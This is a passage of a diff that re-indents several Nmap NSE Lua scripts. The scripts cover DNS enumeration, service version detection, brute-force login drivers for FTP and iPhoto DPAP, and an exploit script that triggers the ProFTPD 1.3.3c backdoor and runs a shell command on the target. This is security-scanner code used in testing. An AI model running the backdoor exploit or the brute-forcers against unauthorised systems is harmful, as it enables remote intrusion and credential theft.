engine.options.script_name = SCRIPT_NAME
|
||||
engine.options.passonly = true
|
||||
engine.options.firstonly = false
|
||||
engine.options.nostore = true
|
||||
engine.iterator = brute.Iterators.account_iterator({""}, repos, "user")
|
||||
if ( repofile ) then engine.iterator = unpwdb.concat_iterators(engine.iterator,repository_iterator()) end
|
||||
status, result = engine:start()
|
||||
|
||||
return result
|
||||
return result
|
||||
end
|
||||
|
||||
|
||||
@@ -45,82 +45,82 @@ local arg_mask = stdnse.get_script_args(SCRIPT_NAME .. ".mask")
|
||||
-- netmask syntax; then looks for a "mask" script argument if that fails. The
|
||||
-- "/" syntax wins over "mask" if both are present.
|
||||
local function get_prefix_mask(arg_prefix, arg_mask)
|
||||
if not arg_prefix then
|
||||
return
|
||||
end
|
||||
local prefix, mask = string.match(arg_prefix, "^(.*)/(.*)$")
|
||||
if not mask then
|
||||
prefix, mask = arg_prefix, arg_mask
|
||||
end
|
||||
return prefix, mask
|
||||
if not arg_prefix then
|
||||
return
|
||||
end
|
||||
local prefix, mask = string.match(arg_prefix, "^(.*)/(.*)$")
|
||||
if not mask then
|
||||
prefix, mask = arg_prefix, arg_mask
|
||||
end
|
||||
return prefix, mask
|
||||
end
|
||||
|
||||
prerule = function()
|
||||
local prefix, mask = get_prefix_mask(arg_prefix, arg_mask)
|
||||
return prefix and mask
|
||||
local prefix, mask = get_prefix_mask(arg_prefix, arg_mask)
|
||||
return prefix and mask
|
||||
end
|
||||
|
||||
local function query_prefix(query, result)
|
||||
local condvar = nmap.condvar(result)
|
||||
local status, res = dns.query(query, { dtype='PTR' })
|
||||
if ( not(status) and res == "No Answers") then
|
||||
table.insert(result, query)
|
||||
elseif ( status ) then
|
||||
local ip = query:sub(1, -10):gsub('%.',''):reverse():gsub('(....)', '%1:'):sub(1, -2)
|
||||
ip = ipOps.bin_to_ip(ipOps.ip_to_bin(ip))
|
||||
table.insert(result, { ptr = res, query = query, ip = ip } )
|
||||
end
|
||||
condvar "signal"
|
||||
local condvar = nmap.condvar(result)
|
||||
local status, res = dns.query(query, { dtype='PTR' })
|
||||
if ( not(status) and res == "No Answers") then
|
||||
table.insert(result, query)
|
||||
elseif ( status ) then
|
||||
local ip = query:sub(1, -10):gsub('%.',''):reverse():gsub('(....)', '%1:'):sub(1, -2)
|
||||
ip = ipOps.bin_to_ip(ipOps.ip_to_bin(ip))
|
||||
table.insert(result, { ptr = res, query = query, ip = ip } )
|
||||
end
|
||||
condvar "signal"
|
||||
end
|
||||
|
||||
action = function()
|
||||
|
||||
local prefix, mask = get_prefix_mask(arg_prefix, arg_mask)
|
||||
local query = dns.reverse(prefix)
|
||||
local prefix, mask = get_prefix_mask(arg_prefix, arg_mask)
|
||||
local query = dns.reverse(prefix)
|
||||
|
||||
-- cut the query name down to the length of the prefix
|
||||
local len = (( mask / 8 ) * 4) + #(".ip6.arpa") - 1
|
||||
-- cut the query name down to the length of the prefix
|
||||
local len = (( mask / 8 ) * 4) + #(".ip6.arpa") - 1
|
||||
|
||||
local found = { query:sub(-len) }
|
||||
local threads = {}
|
||||
local found = { query:sub(-len) }
|
||||
local threads = {}
|
||||
|
||||
local i = 20
|
||||
local i = 20
|
||||
|
||||
local result
|
||||
repeat
|
||||
result = {}
|
||||
for _, f in ipairs(found) do
|
||||
for q in ("0123456789abcdef"):gmatch("(%w)") do
|
||||
local co = stdnse.new_thread(query_prefix, q .. "." .. f, result)
|
||||
threads[co] = true
|
||||
end
|
||||
end
|
||||
local result
|
||||
repeat
|
||||
result = {}
|
||||
for _, f in ipairs(found) do
|
||||
for q in ("0123456789abcdef"):gmatch("(%w)") do
|
||||
local co = stdnse.new_thread(query_prefix, q .. "." .. f, result)
|
||||
threads[co] = true
|
||||
end
|
||||
end
|
||||
|
||||
local condvar = nmap.condvar(result)
|
||||
repeat
|
||||
for t in pairs(threads) do
|
||||
if ( coroutine.status(t) == "dead" ) then threads[t] = nil end
|
||||
end
|
||||
if ( next(threads) ) then
|
||||
condvar "wait"
|
||||
end
|
||||
until( next(threads) == nil )
|
||||
local condvar = nmap.condvar(result)
|
||||
repeat
|
||||
for t in pairs(threads) do
|
||||
if ( coroutine.status(t) == "dead" ) then threads[t] = nil end
|
||||
end
|
||||
if ( next(threads) ) then
|
||||
condvar "wait"
|
||||
end
|
||||
until( next(threads) == nil )
|
||||
|
||||
if ( 0 == #result ) then
|
||||
return
|
||||
end
|
||||
if ( 0 == #result ) then
|
||||
return
|
||||
end
|
||||
|
||||
found = result
|
||||
i = i + 1
|
||||
until( 128 == i * 2 + mask )
|
||||
found = result
|
||||
i = i + 1
|
||||
until( 128 == i * 2 + mask )
|
||||
|
||||
table.sort(result, function(a,b) return (a.ip < b.ip) end)
|
||||
local output = tab.new(2)
|
||||
tab.addrow(output, "ip", "ptr")
|
||||
table.sort(result, function(a,b) return (a.ip < b.ip) end)
|
||||
local output = tab.new(2)
|
||||
tab.addrow(output, "ip", "ptr")
|
||||
|
||||
for _, item in ipairs(result) do
|
||||
tab.addrow(output, item.ip, item.ptr)
|
||||
end
|
||||
for _, item in ipairs(result) do
|
||||
tab.addrow(output, item.ip, item.ptr)
|
||||
end
|
||||
|
||||
return "\n" .. tab.dump(output)
|
||||
return "\n" .. tab.dump(output)
|
||||
end
|
||||
|
||||
@@ -45,50 +45,50 @@ categories = {"discovery", "default"}
|
||||
portrule = shortport.port_or_service(53, "domain", {"tcp", "udp"})
|
||||
|
||||
local function rr_filter(pktRR, label)
|
||||
for _, rec in ipairs(pktRR, label) do
|
||||
if ( rec[label] and 0 < #rec.data ) then
|
||||
if ( dns.types.OPT == rec.dtype ) then
|
||||
local pos, _, len = bin.unpack(">SS", rec.data)
|
||||
if ( len ~= #rec.data - pos + 1 ) then
|
||||
return false, "Failed to decode NSID"
|
||||
end
|
||||
return true, select(2, bin.unpack("A" .. len, rec.data, pos))
|
||||
else
|
||||
return true, select(2, bin.unpack("p", rec.data))
|
||||
end
|
||||
end
|
||||
end
|
||||
for _, rec in ipairs(pktRR, label) do
|
||||
if ( rec[label] and 0 < #rec.data ) then
|
||||
if ( dns.types.OPT == rec.dtype ) then
|
||||
local pos, _, len = bin.unpack(">SS", rec.data)
|
||||
if ( len ~= #rec.data - pos + 1 ) then
|
||||
return false, "Failed to decode NSID"
|
||||
end
|
||||
return true, select(2, bin.unpack("A" .. len, rec.data, pos))
|
||||
else
|
||||
return true, select(2, bin.unpack("p", rec.data))
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
action = function(host, port)
|
||||
local result = stdnse.output_table()
|
||||
local flag = false
|
||||
local status, resp = dns.query("id.server", {host = host.ip, port=port.number, proto=port.protocol, dtype='TXT', class=dns.CLASS.CH, retAll=true, retPkt=true, nsid=true, dnssec=true})
|
||||
if ( status ) then
|
||||
local status, nsid = rr_filter(resp.add,'OPT')
|
||||
if ( status ) then
|
||||
flag = true
|
||||
-- RFC 5001 says NSID can be any arbitrary bytes, and should be displayed
|
||||
-- as hex, but often it is a readable string. Store both.
|
||||
result["NSID"] = { raw = nsid, hex = stdnse.tohex(nsid) }
|
||||
setmetatable(result["NSID"], {
|
||||
__tostring = function(t)
|
||||
return ("%s (%s)"):format(t.raw, t.hex)
|
||||
end
|
||||
})
|
||||
end
|
||||
local status, id_server = rr_filter(resp.answers,'TXT')
|
||||
if ( status ) then
|
||||
flag = true
|
||||
result["id.server"] = id_server
|
||||
end
|
||||
end
|
||||
local status, bind_version = dns.query("version.bind", {host = host.ip, port=port.number, proto=port.protocol, dtype='TXT', class=dns.CLASS.CH})
|
||||
if ( status ) then
|
||||
flag = true
|
||||
result["bind.version"] = bind_version
|
||||
end
|
||||
if flag then
|
||||
return result
|
||||
end
|
||||
local result = stdnse.output_table()
|
||||
local flag = false
|
||||
local status, resp = dns.query("id.server", {host = host.ip, port=port.number, proto=port.protocol, dtype='TXT', class=dns.CLASS.CH, retAll=true, retPkt=true, nsid=true, dnssec=true})
|
||||
if ( status ) then
|
||||
local status, nsid = rr_filter(resp.add,'OPT')
|
||||
if ( status ) then
|
||||
flag = true
|
||||
-- RFC 5001 says NSID can be any arbitrary bytes, and should be displayed
|
||||
-- as hex, but often it is a readable string. Store both.
|
||||
result["NSID"] = { raw = nsid, hex = stdnse.tohex(nsid) }
|
||||
setmetatable(result["NSID"], {
|
||||
__tostring = function(t)
|
||||
return ("%s (%s)"):format(t.raw, t.hex)
|
||||
end
|
||||
})
|
||||
end
|
||||
local status, id_server = rr_filter(resp.answers,'TXT')
|
||||
if ( status ) then
|
||||
flag = true
|
||||
result["id.server"] = id_server
|
||||
end
|
||||
end
|
||||
local status, bind_version = dns.query("version.bind", {host = host.ip, port=port.number, proto=port.protocol, dtype='TXT', class=dns.CLASS.CH})
|
||||
if ( status ) then
|
||||
flag = true
|
||||
result["bind.version"] = bind_version
|
||||
end
|
||||
if flag then
|
||||
return result
|
||||
end
|
||||
end
|
||||
|
||||
@@ -35,90 +35,90 @@ portrule = shortport.port_or_service(8770, "apple-iphoto")
|
||||
|
||||
Driver = {
|
||||
|
||||
new = function(self, host, port)
|
||||
local o = {}
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
o.host = host
|
||||
o.port = port
|
||||
return o
|
||||
end,
|
||||
new = function(self, host, port)
|
||||
local o = {}
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
o.host = host
|
||||
o.port = port
|
||||
return o
|
||||
end,
|
||||
|
||||
connect = function( self )
|
||||
self.socket = nmap.new_socket()
|
||||
self.socket:set_timeout(5000)
|
||||
return self.socket:connect(self.host, self.port, "tcp")
|
||||
end,
|
||||
connect = function( self )
|
||||
self.socket = nmap.new_socket()
|
||||
self.socket:set_timeout(5000)
|
||||
return self.socket:connect(self.host, self.port, "tcp")
|
||||
end,
|
||||
|
||||
login = function( self, username, password )
|
||||
local data = "GET dpap://%s:%d/login HTTP/1.1\r\n" ..
|
||||
"User-Agent: iPhoto/9.1.1 (Macintosh; N; PPC)\r\n" ..
|
||||
"Host: %s\r\n" ..
|
||||
"Authorization: Basic %s\r\n" ..
|
||||
"Client-DPAP-Version: 1.1\r\n" ..
|
||||
"\r\n\r\n"
|
||||
login = function( self, username, password )
|
||||
local data = "GET dpap://%s:%d/login HTTP/1.1\r\n" ..
|
||||
"User-Agent: iPhoto/9.1.1 (Macintosh; N; PPC)\r\n" ..
|
||||
"Host: %s\r\n" ..
|
||||
"Authorization: Basic %s\r\n" ..
|
||||
"Client-DPAP-Version: 1.1\r\n" ..
|
||||
"\r\n\r\n"
|
||||
|
||||
local c = base64.enc("nmap:" .. password)
|
||||
data = data:format( self.host.ip, self.port.number, self.host.ip, c )
|
||||
local c = base64.enc("nmap:" .. password)
|
||||
data = data:format( self.host.ip, self.port.number, self.host.ip, c )
|
||||
|
||||
local status = self.socket:send( data )
|
||||
if ( not(status) ) then
|
||||
local err = brute.Error:new( "Failed to send data to DPAP server" )
|
||||
err:setRetry( true )
|
||||
return false, err
|
||||
end
|
||||
local status = self.socket:send( data )
|
||||
if ( not(status) ) then
|
||||
local err = brute.Error:new( "Failed to send data to DPAP server" )
|
||||
err:setRetry( true )
|
||||
return false, err
|
||||
end
|
||||
|
||||
status, data = self.socket:receive()
|
||||
if ( not(status) ) then
|
||||
local err = brute.Error:new( "Failed to receive data from DPAP server" )
|
||||
err:setRetry( true )
|
||||
return false, err
|
||||
end
|
||||
status, data = self.socket:receive()
|
||||
if ( not(status) ) then
|
||||
local err = brute.Error:new( "Failed to receive data from DPAP server" )
|
||||
err:setRetry( true )
|
||||
return false, err
|
||||
end
|
||||
|
||||
if ( data:match("^HTTP/1.1 200 OK") ) then
|
||||
return true, brute.Account:new(username, password, creds.State.VALID)
|
||||
end
|
||||
if ( data:match("^HTTP/1.1 200 OK") ) then
|
||||
return true, brute.Account:new(username, password, creds.State.VALID)
|
||||
end
|
||||
|
||||
return false, brute.Error:new( "Incorrect password" )
|
||||
end,
|
||||
return false, brute.Error:new( "Incorrect password" )
|
||||
end,
|
||||
|
||||
disconnect = function( self )
|
||||
self.socket:close()
|
||||
end,
|
||||
disconnect = function( self )
|
||||
self.socket:close()
|
||||
end,
|
||||
|
||||
}
|
||||
|
||||
local function checkEmptyPassword(host, port)
|
||||
local d = Driver:new(host, port)
|
||||
local status = d:connect()
|
||||
local d = Driver:new(host, port)
|
||||
local status = d:connect()
|
||||
|
||||
if ( not(status) ) then
|
||||
return false
|
||||
end
|
||||
if ( not(status) ) then
|
||||
return false
|
||||
end
|
||||
|
||||
status = d:login("", "")
|
||||
d:disconnect()
|
||||
status = d:login("", "")
|
||||
d:disconnect()
|
||||
|
||||
return status
|
||||
return status
|
||||
end
|
||||
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
if ( checkEmptyPassword(host, port) ) then
|
||||
return "Library has no password"
|
||||
end
|
||||
if ( checkEmptyPassword(host, port) ) then
|
||||
return "Library has no password"
|
||||
end
|
||||
|
||||
local status, result
|
||||
local engine = brute.Engine:new(Driver, host, port )
|
||||
local status, result
|
||||
local engine = brute.Engine:new(Driver, host, port )
|
||||
|
||||
engine.options.firstonly = true
|
||||
engine.options:setOption( "passonly", true )
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
engine.options.firstonly = true
|
||||
engine.options:setOption( "passonly", true )
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
|
||||
status, result = engine:start()
|
||||
status, result = engine:start()
|
||||
|
||||
return result
|
||||
return result
|
||||
end
|
||||
|
||||
|
||||
|
||||
@@ -43,72 +43,72 @@ portrule = shortport.version_port_or_service({50000,60000,9090,1526,1527},
|
||||
-- @param server_version string containing the product release
|
||||
-- @return ver string containing the version information
|
||||
local function parseVersion( server_version )
|
||||
local pfx = string.sub(server_version,1,3)
|
||||
local pfx = string.sub(server_version,1,3)
|
||||
|
||||
if pfx == "SQL" or pfx == "IFX" then
|
||||
local major_version = string.sub(server_version,4,5)
|
||||
if pfx == "SQL" or pfx == "IFX" then
|
||||
local major_version = string.sub(server_version,4,5)
|
||||
|
||||
-- strip the leading 0 from the major version, for consistency with
|
||||
-- nmap-service-probes results
|
||||
if string.sub(major_version,1,1) == "0" then
|
||||
major_version = string.sub(major_version,2)
|
||||
end
|
||||
local minor_version = string.sub(server_version,6,7)
|
||||
local hotfix = string.sub(server_version,8)
|
||||
server_version = major_version .. "." .. minor_version .. "." .. hotfix
|
||||
elseif( pfx == "CSS" ) then
|
||||
return server_version:match("%w+/(.*)")
|
||||
end
|
||||
-- strip the leading 0 from the major version, for consistency with
|
||||
-- nmap-service-probes results
|
||||
if string.sub(major_version,1,1) == "0" then
|
||||
major_version = string.sub(major_version,2)
|
||||
end
|
||||
local minor_version = string.sub(server_version,6,7)
|
||||
local hotfix = string.sub(server_version,8)
|
||||
server_version = major_version .. "." .. minor_version .. "." .. hotfix
|
||||
elseif( pfx == "CSS" ) then
|
||||
return server_version:match("%w+/(.*)")
|
||||
end
|
||||
|
||||
return server_version
|
||||
return server_version
|
||||
end
|
||||
|
||||
action = function( host, port )
|
||||
|
||||
local helper = drda.Helper:new()
|
||||
local status, response
|
||||
local results = {}
|
||||
local helper = drda.Helper:new()
|
||||
local status, response
|
||||
local results = {}
|
||||
|
||||
status, response = helper:connect(host, port)
|
||||
if( not(status) ) then
|
||||
return response
|
||||
end
|
||||
status, response = helper:connect(host, port)
|
||||
if( not(status) ) then
|
||||
return response
|
||||
end
|
||||
|
||||
status, response = helper:getServerInfo()
|
||||
if( not(status) ) then
|
||||
return response
|
||||
end
|
||||
status, response = helper:getServerInfo()
|
||||
if( not(status) ) then
|
||||
return response
|
||||
end
|
||||
|
||||
helper:close()
|
||||
helper:close()
|
||||
|
||||
-- Set port information
|
||||
if ( response.srvclass and response.srvclass:match("IDS/") ) then
|
||||
port.version.name = "drda"
|
||||
port.version.product = "IBM Informix Dynamic Server"
|
||||
port.version.name_confidence = 10
|
||||
table.insert( results, ("Informix Version: %s"):format( parseVersion(response.prodrel) ) )
|
||||
elseif ( response.srvclass and response.srvclass:match("Apache Derby") ) then
|
||||
port.version.name = "drda"
|
||||
port.version.product = "Apache Derby Server"
|
||||
port.version.name_confidence = 10
|
||||
table.insert( results, ("Derby Version: %s"):format( parseVersion(response.prodrel) ) )
|
||||
elseif ( response.srvclass and response.srvclass:match("DB2") ) then
|
||||
port.version.name = "drda"
|
||||
port.version.product = "IBM DB2 Database Server"
|
||||
port.version.name_confidence = 10
|
||||
table.insert( results, ("DB2 Version: %s"):format( parseVersion(response.prodrel) ) )
|
||||
else
|
||||
table.insert( results, ("Version: %s"):format( response.prodrel ) )
|
||||
end
|
||||
nmap.set_port_state(host, port, "open")
|
||||
if response.srvclass ~= nil then port.version.extrainfo = response.srvclass end
|
||||
-- Set port information
|
||||
if ( response.srvclass and response.srvclass:match("IDS/") ) then
|
||||
port.version.name = "drda"
|
||||
port.version.product = "IBM Informix Dynamic Server"
|
||||
port.version.name_confidence = 10
|
||||
table.insert( results, ("Informix Version: %s"):format( parseVersion(response.prodrel) ) )
|
||||
elseif ( response.srvclass and response.srvclass:match("Apache Derby") ) then
|
||||
port.version.name = "drda"
|
||||
port.version.product = "Apache Derby Server"
|
||||
port.version.name_confidence = 10
|
||||
table.insert( results, ("Derby Version: %s"):format( parseVersion(response.prodrel) ) )
|
||||
elseif ( response.srvclass and response.srvclass:match("DB2") ) then
|
||||
port.version.name = "drda"
|
||||
port.version.product = "IBM DB2 Database Server"
|
||||
port.version.name_confidence = 10
|
||||
table.insert( results, ("DB2 Version: %s"):format( parseVersion(response.prodrel) ) )
|
||||
else
|
||||
table.insert( results, ("Version: %s"):format( response.prodrel ) )
|
||||
end
|
||||
nmap.set_port_state(host, port, "open")
|
||||
if response.srvclass ~= nil then port.version.extrainfo = response.srvclass end
|
||||
|
||||
nmap.set_port_version(host, port)
|
||||
nmap.set_port_version(host, port)
|
||||
|
||||
-- Generate results
|
||||
table.insert( results, ("Server Platform: %s"):format( response.srvclass ) )
|
||||
table.insert( results, ("Instance Name: %s"):format( response.srvname ) )
|
||||
table.insert( results, ("External Name: %s"):format( response.extname ) )
|
||||
-- Generate results
|
||||
table.insert( results, ("Server Platform: %s"):format( response.srvclass ) )
|
||||
table.insert( results, ("Instance Name: %s"):format( response.srvname ) )
|
||||
table.insert( results, ("External Name: %s"):format( response.extname ) )
|
||||
|
||||
return stdnse.format_output( true, results )
|
||||
return stdnse.format_output( true, results )
|
||||
end
|
||||
|
||||
@@ -42,84 +42,84 @@ arg_timeout = (arg_timeout or 5) * 1000
|
||||
|
||||
Driver = {
|
||||
|
||||
new = function(self, host, port)
|
||||
local o = {}
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
o.host = host
|
||||
o.port = port
|
||||
return o
|
||||
end,
|
||||
new = function(self, host, port)
|
||||
local o = {}
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
o.host = host
|
||||
o.port = port
|
||||
return o
|
||||
end,
|
||||
|
||||
connect = function( self )
|
||||
self.socket = nmap.new_socket()
|
||||
local status, err = self.socket:connect(self.host, self.port)
|
||||
self.socket:set_timeout(arg_timeout)
|
||||
if(not(status)) then
|
||||
return false, brute.Error:new( "Couldn't connect to host: " .. err )
|
||||
end
|
||||
return true
|
||||
end,
|
||||
connect = function( self )
|
||||
self.socket = nmap.new_socket()
|
||||
local status, err = self.socket:connect(self.host, self.port)
|
||||
self.socket:set_timeout(arg_timeout)
|
||||
if(not(status)) then
|
||||
return false, brute.Error:new( "Couldn't connect to host: " .. err )
|
||||
end
|
||||
return true
|
||||
end,
|
||||
|
||||
login = function (self, user, pass)
|
||||
local status, err
|
||||
local res = ""
|
||||
login = function (self, user, pass)
|
||||
local status, err
|
||||
local res = ""
|
||||
|
||||
|
||||
status, err = self.socket:send("USER " .. user .. "\r\n")
|
||||
if(not(status)) then
|
||||
return false, brute.Error:new("Couldn't send login: " .. err)
|
||||
end
|
||||
status, err = self.socket:send("USER " .. user .. "\r\n")
|
||||
if(not(status)) then
|
||||
return false, brute.Error:new("Couldn't send login: " .. err)
|
||||
end
|
||||
|
||||
status, err = self.socket:send("PASS " .. pass .. "\n\n")
|
||||
if(not(status)) then
|
||||
return false, brute.Error:new("Couldn't send login: " .. err)
|
||||
end
|
||||
status, err = self.socket:send("PASS " .. pass .. "\n\n")
|
||||
if(not(status)) then
|
||||
return false, brute.Error:new("Couldn't send login: " .. err)
|
||||
end
|
||||
|
||||
-- Create a buffer and receive the first line
|
||||
local buffer = stdnse.make_buffer(self.socket, "\r?\n")
|
||||
local line = buffer()
|
||||
-- Create a buffer and receive the first line
|
||||
local buffer = stdnse.make_buffer(self.socket, "\r?\n")
|
||||
local line = buffer()
|
||||
|
||||
-- Loop over the lines
|
||||
while(line)do
|
||||
stdnse.print_debug("Received: %s", line)
|
||||
if(string.match(line, "^230")) then
|
||||
stdnse.print_debug(1, "ftp-brute: Successful login: %s/%s", user, pass)
|
||||
return true, brute.Account:new( user, pass, creds.State.VALID)
|
||||
elseif(string.match(line, "^530")) then
|
||||
return false, brute.Error:new( "Incorrect password" )
|
||||
elseif(string.match(line, "^220")) then
|
||||
elseif(string.match(line, "^331")) then
|
||||
else
|
||||
stdnse.print_debug(1, "ftp-brute: WARNING: Unhandled response: %s", line)
|
||||
local err = brute.Error:new("Unhandled response")
|
||||
err:setRetry(true)
|
||||
return false, err
|
||||
end
|
||||
-- Loop over the lines
|
||||
while(line)do
|
||||
stdnse.print_debug("Received: %s", line)
|
||||
if(string.match(line, "^230")) then
|
||||
stdnse.print_debug(1, "ftp-brute: Successful login: %s/%s", user, pass)
|
||||
return true, brute.Account:new( user, pass, creds.State.VALID)
|
||||
elseif(string.match(line, "^530")) then
|
||||
return false, brute.Error:new( "Incorrect password" )
|
||||
elseif(string.match(line, "^220")) then
|
||||
elseif(string.match(line, "^331")) then
|
||||
else
|
||||
stdnse.print_debug(1, "ftp-brute: WARNING: Unhandled response: %s", line)
|
||||
local err = brute.Error:new("Unhandled response")
|
||||
err:setRetry(true)
|
||||
return false, err
|
||||
end
|
||||
|
||||
line = buffer()
|
||||
end
|
||||
line = buffer()
|
||||
end
|
||||
|
||||
|
||||
return false, brute.Error:new("Login didn't return a proper response")
|
||||
end,
|
||||
return false, brute.Error:new("Login didn't return a proper response")
|
||||
end,
|
||||
|
||||
disconnect = function( self )
|
||||
self.socket:close()
|
||||
return true
|
||||
end
|
||||
disconnect = function( self )
|
||||
self.socket:close()
|
||||
return true
|
||||
end
|
||||
|
||||
|
||||
}
|
||||
|
||||
action = function( host, port )
|
||||
|
||||
local status, result
|
||||
local engine = brute.Engine:new(Driver, host, port)
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
local status, result
|
||||
local engine = brute.Engine:new(Driver, host, port)
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
|
||||
|
||||
status, result = engine:start()
|
||||
status, result = engine:start()
|
||||
|
||||
return result
|
||||
return result
|
||||
end
|
||||
|
||||
@@ -35,91 +35,91 @@ local CMD_FTP = "HELP ACIDBITCHEZ"
|
||||
local CMD_SHELL = "id"
|
||||
|
||||
portrule = function (host, port)
|
||||
-- Check if version detection knows what FTP server this is.
|
||||
if port.version.product ~= nil and port.version.product ~= "ProFTPD" then
|
||||
return false
|
||||
end
|
||||
-- Check if version detection knows what FTP server this is.
|
||||
if port.version.product ~= nil and port.version.product ~= "ProFTPD" then
|
||||
return false
|
||||
end
|
||||
|
||||
-- Check if version detection knows what version of FTP server this is.
|
||||
if port.version.version ~= nil and port.version.version ~= "1.3.3c" then
|
||||
return false
|
||||
end
|
||||
-- Check if version detection knows what version of FTP server this is.
|
||||
if port.version.version ~= nil and port.version.version ~= "1.3.3c" then
|
||||
return false
|
||||
end
|
||||
|
||||
return shortport.port_or_service(21, "ftp")(host, port)
|
||||
return shortport.port_or_service(21, "ftp")(host, port)
|
||||
end
|
||||
|
||||
action = function(host, port)
|
||||
local cmd, err, line, req, resp, results, sock, status
|
||||
local cmd, err, line, req, resp, results, sock, status
|
||||
|
||||
-- Get script arguments.
|
||||
cmd = stdnse.get_script_args("ftp-proftpd-backdoor.cmd")
|
||||
if not cmd then
|
||||
cmd = CMD_SHELL
|
||||
end
|
||||
-- Get script arguments.
|
||||
cmd = stdnse.get_script_args("ftp-proftpd-backdoor.cmd")
|
||||
if not cmd then
|
||||
cmd = CMD_SHELL
|
||||
end
|
||||
|
||||
-- Create socket.
|
||||
sock = nmap.new_socket("tcp")
|
||||
sock:set_timeout(5000)
|
||||
status, err = sock:connect(host, port, "tcp")
|
||||
if not status then
|
||||
stdnse.print_debug(1, "Can't connect: %s", err)
|
||||
sock:close()
|
||||
return
|
||||
end
|
||||
-- Create socket.
|
||||
sock = nmap.new_socket("tcp")
|
||||
sock:set_timeout(5000)
|
||||
status, err = sock:connect(host, port, "tcp")
|
||||
if not status then
|
||||
stdnse.print_debug(1, "Can't connect: %s", err)
|
||||
sock:close()
|
||||
return
|
||||
end
|
||||
|
||||
-- Read banner.
|
||||
local buffer = stdnse.make_buffer(sock, "\r?\n")
|
||||
local code, message = ftp.read_reply(buffer)
|
||||
if not code then
|
||||
stdnse.print_debug(1, "Can't read banner: %s", message)
|
||||
sock:close()
|
||||
return
|
||||
end
|
||||
-- Read banner.
|
||||
local buffer = stdnse.make_buffer(sock, "\r?\n")
|
||||
local code, message = ftp.read_reply(buffer)
|
||||
if not code then
|
||||
stdnse.print_debug(1, "Can't read banner: %s", message)
|
||||
sock:close()
|
||||
return
|
||||
end
|
||||
|
||||
-- Check version.
|
||||
if not message:match("ProFTPD 1.3.3c") then
|
||||
stdnse.print_debug(1, "This version is not known to be backdoored.")
|
||||
return
|
||||
end
|
||||
-- Check version.
|
||||
if not message:match("ProFTPD 1.3.3c") then
|
||||
stdnse.print_debug(1, "This version is not known to be backdoored.")
|
||||
return
|
||||
end
|
||||
|
||||
-- Send command to escalate privilege.
|
||||
status, err = sock:send(CMD_FTP .. "\r\n")
|
||||
if not status then
|
||||
stdnse.print_debug(1, "Failed to send privilege escalation command: %s", err)
|
||||
sock:close()
|
||||
return
|
||||
end
|
||||
-- Send command to escalate privilege.
|
||||
status, err = sock:send(CMD_FTP .. "\r\n")
|
||||
if not status then
|
||||
stdnse.print_debug(1, "Failed to send privilege escalation command: %s", err)
|
||||
sock:close()
|
||||
return
|
||||
end
|
||||
|
||||
-- Check if escalation worked.
|
||||
code, message = ftp.read_reply(buffer)
|
||||
if code and code == 502 then
|
||||
stdnse.print_debug(1, "Privilege escalation failed: %s", message)
|
||||
sock:close()
|
||||
return
|
||||
end
|
||||
-- Check if escalation worked.
|
||||
code, message = ftp.read_reply(buffer)
|
||||
if code and code == 502 then
|
||||
stdnse.print_debug(1, "Privilege escalation failed: %s", message)
|
||||
sock:close()
|
||||
return
|
||||
end
|
||||
|
||||
-- Send command(s) to shell.
|
||||
status, err = sock:send(cmd .. ";\r\n")
|
||||
if not status then
|
||||
stdnse.print_debug(1, "Failed to send shell command(s): %s", err)
|
||||
sock:close()
|
||||
return
|
||||
end
|
||||
-- Send command(s) to shell.
|
||||
status, err = sock:send(cmd .. ";\r\n")
|
||||
if not status then
|
||||
stdnse.print_debug(1, "Failed to send shell command(s): %s", err)
|
||||
sock:close()
|
||||
return
|
||||
end
|
||||
|
||||
-- Check for an error from command.
|
||||
status, resp = sock:receive()
|
||||
if not status then
|
||||
stdnse.print_debug(1, "Can't read command response: %s", resp)
|
||||
sock:close()
|
||||
return
|
||||
end
|
||||
-- Check for an error from command.
|
||||
status, resp = sock:receive()
|
||||
if not status then
|
||||
stdnse.print_debug(1, "Can't read command response: %s", resp)
|
||||
sock:close()
|
||||
return
|
||||
end
|
||||
|
||||
-- Summarize the results.
|
||||
results = {
|
||||
"This installation has been backdoored.",
|
||||
"Command: " .. CMD_SHELL,
|
||||
"Results: " .. resp
|
||||
}
|
||||
-- Summarize the results.
|
||||
results = {
|
||||
"This installation has been backdoored.",
|
||||
"Command: " .. CMD_SHELL,
|
||||
"Results: " .. resp
|
||||
}
|
||||
|
||||
return stdnse.format_output(true, results)
|
||||
return stdnse.format_output(true, results)
|
||||
end
|
||||
|
||||
@@ -49,70 +49,70 @@ categories = {"default", "discovery", "safe"}
|
||||
|
||||
|
||||
portrule = function(host, port)
|
||||
-- Run for the special port number, or for any HTTP-like service that is
|
||||
-- not on a usual HTTP port.
|
||||
return shortport.port_or_service ({50090}, "hadoop-secondary-namenode")(host, port)
|
||||
or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port) and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port))
|
||||
-- Run for the special port number, or for any HTTP-like service that is
|
||||
-- not on a usual HTTP port.
|
||||
return shortport.port_or_service ({50090}, "hadoop-secondary-namenode")(host, port)
|
||||
or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port) and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port))
|
||||
end
|
||||
|
||||
action = function( host, port )
|
||||
|
||||
local result = {}
|
||||
local uri = "/status.jsp"
|
||||
stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
|
||||
local response = http.get( host, port, uri )
|
||||
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Resposne"))
|
||||
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
|
||||
local body = response['body']:gsub("%%","%%%%")
|
||||
local stats = {}
|
||||
stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body))
|
||||
-- Page isn't valid html :(
|
||||
for i in string.gmatch(body,"\n[%w%s]+:%s+[^][\n]+") do
|
||||
table.insert(stats,i:match(":%s+([^][\n]+)"))
|
